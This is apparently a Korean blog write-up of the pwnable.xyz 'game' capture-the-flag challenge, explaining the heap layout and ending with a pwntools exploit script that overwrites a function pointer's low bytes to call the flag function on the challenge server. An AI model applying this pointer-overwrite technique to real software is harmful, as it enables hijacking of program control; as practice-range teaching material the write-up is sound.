상세 컨텐츠

본문 제목

[pwnable.xyz] game

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 1. 22. 23:29

본문

728x90
반응형

# 보호기법 확인

 

 

 

# process

 

일단, heap에서 각 변수들의 위치가 어디인지 확인하기 위해 디버깅을 해봤다.

 

name 입력한 후 heap 상태 : 

 

 

name을 'A'*0x10으로 준 후 상태를 확인해보니, 데이터 영역에 name 값이 적혀있고, name+0x8 위치에 play_game 주소가 적혀있는 것을 확인할 수 있다.

 

 

 

play_game 한 후 heap 상태 : 

게임에서 지게되면 score를 -1점을 받는다.

 

heap을 확인해보면 name 다음에 0xffff로 score 값이 적혀있다.

 

즉, name + score + play_game 상태이다.

 

save_game한 후 (malloc 한 후) heap 상태

 

 

save_game으로 새로 heap이 할당되어서 0x30 크기의 청크가 있고, name + score(0xffffffffffffffff) + play_game 순으로 값이 들어있다.

 

우리는 우리가 할당한 청크의 데이터 영역을 제어할 수 있다.

play_game 값이 적혀있는 값을 flag 함수 값으로 바꾼다면, play game 시 flag 함수가 실행될 것이다.

 

edit_game 시 name(0x10) + score(0x8) 의 더미를 주고 flag 함수 주소를 주면 된다.

 

이때, play_game 함수 주소와 flag 주소의 상위 바이트 값이 같으므로, 하위 2바이트 값만 준다.

 

 

# exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30009)
#gdb.attach(p)

p.sendafter(": ", 'A'*0x10)

p.sendlineafter("> ", '1')
p.sendlineafter("= ", '0')

p.sendlineafter("> ", '2')

p.sendlineafter("> ", '3')
p.send('A'*0x18 + '\xd6\x09')
p.sendlineafter("> ", '1')

p.interactive()

 

# exploit 

 

 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] fclose (fSOP)  (1) 2020.02.10
[pwnable.xyz] SUS  (0) 2020.02.05
[pwnable.xyz] Jmp_table  (0) 2019.11.11
[pwnable.xyz] free spirit  (0) 2019.11.11
[pwnable.xyz] two targets - shell (pwnable)  (0) 2019.11.02

관련글 더보기